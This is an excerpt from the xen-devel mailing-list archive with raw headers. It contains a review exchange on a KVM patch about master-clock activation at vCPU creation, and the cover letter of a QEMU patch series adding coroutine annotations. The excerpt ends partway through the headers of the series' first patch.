	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXI4-0000nT-Iz; Sat, 25 Jul 2026 07:59:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370510.1618622; Sat, 25 Jul 2026 07:59:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXI4-0000nM-DE; Sat, 25 Jul 2026 07:59:24 +0000
Received: by outflank-mailman (input) for mailman id 1370510;
 Sat, 25 Jul 2026 07:59:23 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnXI3-0000nG-9C
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 07:59:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnXI2-003K0G-Eu; Sat, 25 Jul 2026 09:59:22 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646c73-5cb7-0a2a0a5109dd-0a2a450ac0ec-28
 for <multiple-recipients>; Sat, 25 Jul 2026 09:59:21 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646cd9-f2d2-0a2a450a0019-5a9b3222b97a-3
 for <multiple-recipients>; Sat, 25 Jul 2026 09:59:21 +0200
Received: from 54-240-197-235.amazon.com ([54.240.197.235]
 helo=freeip.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnXHu-00000005maH-3WEH; Sat, 25 Jul 2026 07:59:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=KVS+cBKDEZ+wwitTdlfGoa4B397OdlVymNENj5yyKtc=; b=Yp4SEYJumtDtSNIfr+5CsWf+FC
	N9wIoiptsLGzg13WofG8ABkX2Jqas1ohSmGfldyeeGE2x3xVTvJ7NzwdTaJtQ00hTAlmwwpy8FRX1
	zw9XHfbJRAtQV8OnN/LaMz2NxaJpObMFUa6oB7RGV1uGlmZcJI/+YZu3dDscnwVzZnqiykR/+zu04
	AZO3bETZgJhle6vjl2a1uoskiv5yERmbjvKaj/b5qELnrR/Sc8AlWGcrrUPByizXoz0zKwB277fPL
	Lvb/O1webdd/Zay5GtLfNhPgECMyL+edGMB89QMEHr3MO4erM//ezMW7tWEVnyyuCM0pBjAMhd7Nk
	bQDG8J5A==;
Message-ID: <06561667eee52c40ef4587fcc11f6bf964ce40bf.camel@infradead.org>
Subject: Re: [PATCH v6 08/36] KVM: x86: Activate master clock immediately on
 vCPU creation
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 08:59:13 +0100
In-Reply-To: <amPW1eAPpUuxLoj_@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-9-dwmw2@infradead.org> <amPW1eAPpUuxLoj_@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-CgYaxXwPNfSHyCXn6DUp"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1784966361-5A7DACFC-9DDA2DF5/0/0
X-purgate-type: clean
X-purgate-size: 10700


--=-CgYaxXwPNfSHyCXn6DUp
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-24 at 14:19 -0700, Sean Christopherson wrote:
> On Fri, Jul 03, 2026, David Woodhouse wrote:
> > From: David Woodhouse <dwmw@amazon.co.uk>
> >=20
> > Previously, the master clock was only activated when the first vCPU
> > processed KVM_REQ_MASTERCLOCK_UPDATE during KVM_RUN. This meant that
> > KVM_GET_CLOCK could not return the host_tsc field until after the
> > first KVM_RUN, making it impossible for userspace to follow the
> > documented TSC migration procedure without a dummy vCPU run.
> >=20
> > Fix this by calling kvm_update_masterclock() directly from
> > kvm_arch_vcpu_postcreate(), after kvm_synchronize_tsc() has already
> > set all_vcpus_matched_freq. This ensures the master clock is active
> > immediately, and KVM_GET_CLOCK returns a valid {host_tsc, realtime}
> > pair as soon as a vCPU exists.
> >=20
> > Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> > ---
> > =C2=A0 arch/x86/kvm/x86.c | 2 ++
> > =C2=A0 1 file changed, 2 insertions(+)
> >=20
> > diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> > index ff45577ed90c..2039bd8518fb 100644
> > --- a/arch/x86/kvm/x86.c
> > +++ b/arch/x86/kvm/x86.c
> > @@ -13110,6 +13110,8 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *=
vcpu)
> > =C2=A0=C2=A0		return;
> > =C2=A0=C2=A0	vcpu_load(vcpu);
> > =C2=A0=C2=A0	kvm_synchronize_tsc(vcpu, NULL);
> > +	if (!vcpu->kvm->arch.use_master_clock)
>=20
> Any reason this can't be?
>=20
> 	if (kvm_check_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
> 		kvm_update_masterclock(vcpu->kvm);
>=20
> > +		kvm_update_masterclock(vcpu->kvm);
>=20
> I don't love doing work outside of KVM_RUN that is typically handled by K=
VM_RUN,
> but this seems fine?

I think I tried that first and it didn't work because
KVM_REQ_MASTERCLOCK_UPDATE wasn't actually set yet. I remember going
round in circles a few times here. I'll take another look.

--=-CgYaxXwPNfSHyCXn6DUp
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0G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QgRzIgU01JTUUgUlNBNDA5NiBTSEEzODQgMjAyNCBDQTECEAM1KLa7MmyR8R04yjiFXSAw
DQYJKoZIhvcNAQEBBQAEggIAyTHJMROIOLLF9gAXhw+KaaechdLTWFoQ3FWsMiO0plVK2mmNcCbG
m5MQ+obRH0Z3duJsOnYk7ju8JjGgEmHzv01ur7B7SdWeJ+s6PWgdhXBjObKX+4yl4IOJ34RsG3F2
PbsTfm4vobmNqpvl4hYxe4Niv881aE/U8Ah3cRsKqMPdchCJwT75ysyY/01sruvPq8fVsyJh2hF4
s+jXEpEqJPOzkS2DotZcDRepVA6e5aV1JPn26YtjJQ2O1mY8ow336QO0/YzRVcSBZk96ICd5ITGb
Tu2uH3OFz1cSWtMSOJXt3+uHCp3Gixq4rPIew3gFRbpslf6JTI7zY2stFPaUjkbDYOpY0WPlVcOo
cD9/UKyj03YtMYRTeyWhLDtSeAIqYoHbYbgIxmFbAT82ZyRdtSRDx86nwlwfw19bGvvz5Al0RyeC
7N/oyznMbuDgxLKM8tZCxXNG+o00p6jrvzTk0JjKjTSf61yuWuII8jVMAAPKA8VzsfEsHggifuxq
6Ec9JgDViD9q4T004uqpR7P+kCa3aCZHAcFO4Vt6+ZpDYvh2pEkd4MX8mHAc/aLgcjfL1/WpC8mF
mu02sZ1SM3UPhbwmDi6nt2zCpA0LlCDc06oth7xRGKwI4NhWukgE6ZrR2rJsqHD5ahkdKw+rCluM
peQNSnpALLlkZlng8Uc0Rq8AAAAAAAA=


--=-CgYaxXwPNfSHyCXn6DUp--


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370555.1618630 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ01-0003Qw-LD; Sat, 25 Jul 2026 09:48:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370555.1618630; Sat, 25 Jul 2026 09:48:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ01-0003Qo-EI; Sat, 25 Jul 2026 09:48:53 +0000
Received: by outflank-mailman (input) for mailman id 1370555;
 Sat, 25 Jul 2026 09:48:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnYzz-0003Qi-UE
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:48:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnYzz-0036QD-0S
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:48:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648680-5cb7-0a2a0a5109dd-0a2a45068790-4
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:48:50 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648681-195a-0a2a45060019-aa0a817cac25-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:48:50 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-451-kYzblYh9M3msHOtqaHQbsw-1; Sat,
 25 Jul 2026 05:48:44 -0400
Received: from mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.111])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 8E85A1800BE2; Sat, 25 Jul 2026 09:48:41 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id ED020180058C; Sat, 25 Jul 2026 09:48:38 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972929;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=e13Mb7maGRAJH7OvnZ926KOz18CeSHnJdJR1T7xC40A=;
	b=OaSzfBgFNs9KlK7E+phbfC0LkLkgBa5j6739GwSxWJnfbxPb774/Bl5We9BwBIBV5SYhEW
	UEZkhk3VXr2Y4OS7p+fMJ+zI9OJPgZWF+rfWP39vzijqTMMoa1QKe7XZEUfKeOVRRoRYBl
	KebcfMIeRHTfr3XeLoNFOB39rNea6cQ=
X-MC-Unique: kYzblYh9M3msHOtqaHQbsw-1
X-Mimecast-MFC-AGG-ID: kYzblYh9M3msHOtqaHQbsw_1784972922
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Subject: [PATCH v2 0/8] coroutine: add missing annotations
Date: Sat, 25 Jul 2026 13:48:31 +0400
Message-Id: <20260725-co-v2-0-d3552ddb3931@redhat.com>
MIME-Version: 1.0
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/1WNyw7CIBBFf6WZtRiKfagr/8N0AcNUMLEYQKJp+
 Hehrlye5NxzVwjkLQU4Nyt4SjZYtxQQuwbQyOVGzOrCILgY+Cg4Q8cG0evTEUeNPUERn55m+94
 i1+nH4aXuhLEuq2FsiM5/tpfUVu8vmFrG2SyV6rQ6oODdxZM2Mu7RPWDKOX8BIeJuKacAAAA=
X-Change-ID: 20260720-co-625d98c7dc5e
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=2835;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=UiBNZ2dLsT27ndVIEPrVDVYPrIaCaXetKCB0PHn/T4w=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZyxijLscQgf5Ye8jfY1pGaTGwVtCUvcZaXR
 XseaOgh4JmJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcgAKCRDa6OEJdZac
 5RA2D/9tOiNq4Y1Dun+iWt0u/fLZLPiBlkO8/pPVYU0awhd4nKjGWPkE5n8jlnOaVh81URwKVKj
 XYYSM5ErwIzwsIsPGpZK/MZeqMxdEOWcM/upxb016g1pArAW7N7k00hpVMU9ZyLFkXH/GkfBNPl
 V48RG54Y2Skh+gGyNN/1M3kzwa2O7yCEzCSaBEJ367Pftcqpq80UqJBbMkfOKxAe1FYXMh/BzoX
 k88Jxapps8SnPJTWLj0MQr1r41T8BSIbdG6MfbsresjGaNVtObS7zV0xlrSh2fIsb//B2jzl2L4
 j7M9HZt3DIAiqUu2MdamDVvWfa7Ot9CyF6BWRzas2XZ8tqjWOgbiIvM9Qic2kFi35145EfSnBPy
 hNx4WmyJZ3yhkIdsGFQ8q/xerfA5XCYRSW2EajQY5QVcdItN28GUYu4ORHDQWHWsk7V/WaGxPNi
 z2rcinlUWJ7j7FHaO4J3SaViHIDbObYBK1WRbfSjhMYSMEhyDpPD1+gKVcA+TbUyBJgvFFz1Tmh
 GieBbjf766JH70LbrLi59p1+geD6Gjf7L4X+BTvJV0xaQGM3TRjA1avvzqjsdOteR24ISCT/KF1
 Mdd3bw32N5ri4n0SK4hrqKYhDDFuKQygzvZULKve53ivl7+zI7P9L+ciuM+lJ/wu69hiYcsqP6h
 hCe6gb7FKA7kd7Q==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.111
X-Mimecast-MFC-PROC-ID: 1QtuIl_12Cas5N7oLxAOmC-479q_FHTgUmdTbZJupEw_1784972922
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784972930-FD20877B-35FF342A/0/0
X-purgate-type: clean
X-purgate-size: 2837

Hi

Add missing coroutine_fn, coroutine_mixed_fn annotations and fix
a few related issues across monitor, migration, io, block, and
9pfs subsystems.

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
Changes in v2:
- fix some annotations in patch "block: add missing coroutine annotation"
- collect trailer tags
- Link to v1: https://lore.kernel.org/qemu-devel/20260720-co-v1-0-fabb4db3c204@redhat.com

To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>
Cc: Peter Xu <peterx@redhat.com>
Cc: Fabiano Rosas <farosas@suse.de>
Cc: "Daniel P. BerrangÃ©" <berrange@redhat.com>
Cc: John Snow <jsnow@redhat.com>
Cc: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
Cc: Kevin Wolf <kwolf@redhat.com>
Cc: Hanna Reitz <hreitz@redhat.com>
Cc: qemu-block@nongnu.org
Cc: Stefan Hajnoczi <stefanha@redhat.com>
Cc: Fam Zheng <fam@euphon.net>
Cc: "Denis V. Lunev" <den@openvz.org>
Cc: Christian Schoenebeck <qemu_oss@crudebyte.com>
Cc: Greg Kurz <groug@kaod.org>
Cc: "Michael S. Tsirkin" <mst@redhat.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>
Cc: Anthony PERARD <anthony@xenproject.org>
Cc: "Edgar E. Iglesias" <edgar.iglesias@gmail.com>
Cc: xen-devel@lists.xenproject.org
Cc: Li Zhijian <lizhijian@fujitsu.com>

---
Marc-AndrÃ© Lureau (8):
      monitor: annotate monitor_qmp_dispatcher_pop_any() as coroutine
      migration: fix qemu_get_counted_string annotation
      io: add missing coroutine annotation
      block: add missing coroutine annotation
      qcow2: remove invalid qcow2_check_refcounts calls
      block: add missing coroutine_fn annotations
      hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
      migration/rdma: annotate and simplify wait_comp_channel()

 hw/9pfs/9p.h                 | 26 +++++++++++++++-----------
 include/block/blockjob_int.h |  2 +-
 include/io/channel.h         |  4 ++--
 block/commit.c               |  5 +++--
 block/crypto.c               | 13 +++++++------
 block/io.c                   |  8 +++++---
 block/parallels.c            |  5 +++--
 block/qcow2-snapshot.c       | 18 ------------------
 block/qcow2.c                | 12 ++++++++----
 blockjob.c                   |  3 ++-
 hw/9pfs/9p.c                 | 31 +++++++++++++++++++------------
 hw/9pfs/virtio-9p-device.c   | 24 +++++++++++++-----------
 hw/9pfs/xen-9p-backend.c     | 34 +++++++++++++++++-----------------
 io/channel.c                 |  5 +++--
 migration/qemu-file.c        |  2 +-
 migration/rdma.c             | 12 ++++--------
 monitor/qmp.c                |  3 ++-
 17 files changed, 105 insertions(+), 102 deletions(-)
---
base-commit: 300438ffbb8d9430cac2fcc15cba6f482b2c0587
change-id: 20260720-co-625d98c7dc5e

Best regards,
--  
Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370556.1618640 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ06-0003eA-0f; Sat, 25 Jul 2026 09:48:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370556.1618640; Sat, 25 Jul 2026 09:48:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ05-0003e3-RT; Sat, 25 Jul 2026 09:48:57 +0000
Received: by outflank-mailman (input) for mailman id 1370556;
 Sat, 25 Jul 2026 09:48:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ04-0003de-QW
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:48:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ04-003Tyx-0E
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:48:56 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648620-bab6-0a2a0a5309dd-0a2a450a9dce-32
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:48:55 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648686-f2d2-0a2a450a0019-aa0a817c729f-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:48:55 +0200
Received: from mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-481-hS19_nqnPV-v5GQmSfJy_w-1; Sat,
 25 Jul 2026 05:48:50 -0400
Received: from mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.111])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 61DA919540CA; Sat, 25 Jul 2026 09:48:47 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 9ED03180049F; Sat, 25 Jul 2026 09:48:45 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972934;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=dPp6/Iz6emP9faagVMHidtrIEEZa8zoC+YjDWgEts3k=;
	b=WZAjdlbIX9qW/vnhIMoVW8P1fbgxdtlfEzwOiSL0U1iC24U/zlhK4fbMv3ygS5zf7Io6x3
	EXVu8OM9qB0NrXtM0sA9UmXHkhvRjK6kVXPJ/5brpVvt7ktvrcmEECssfuKWycqte98+Ik
	ah/12j/60crB9zabXgyUqWrSuF5rfmQ=
X-MC-Unique: hS19_nqnPV-v5GQmSfJy_w-1
X-Mimecast-MFC-AGG-ID: hS19_nqnPV-v5GQmSfJy_w_1784972928
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:32 +0400
Subject: [PATCH v2 1/8] monitor: annotate monitor_qmp_dispatcher_pop_any()
 as coroutine
MIME-Version: 1.0
Message-Id: <20260725-co-v2-1-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=859;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=u5SYt6HOlXpoYkBe8zmUhNbcCVIM7I1SQQWsPqoY/1g=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZyN05xG4NXEjp7mfqsDyp6EpYKKkClYQD6/
 vLFKlVVeWKJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcgAKCRDa6OEJdZac
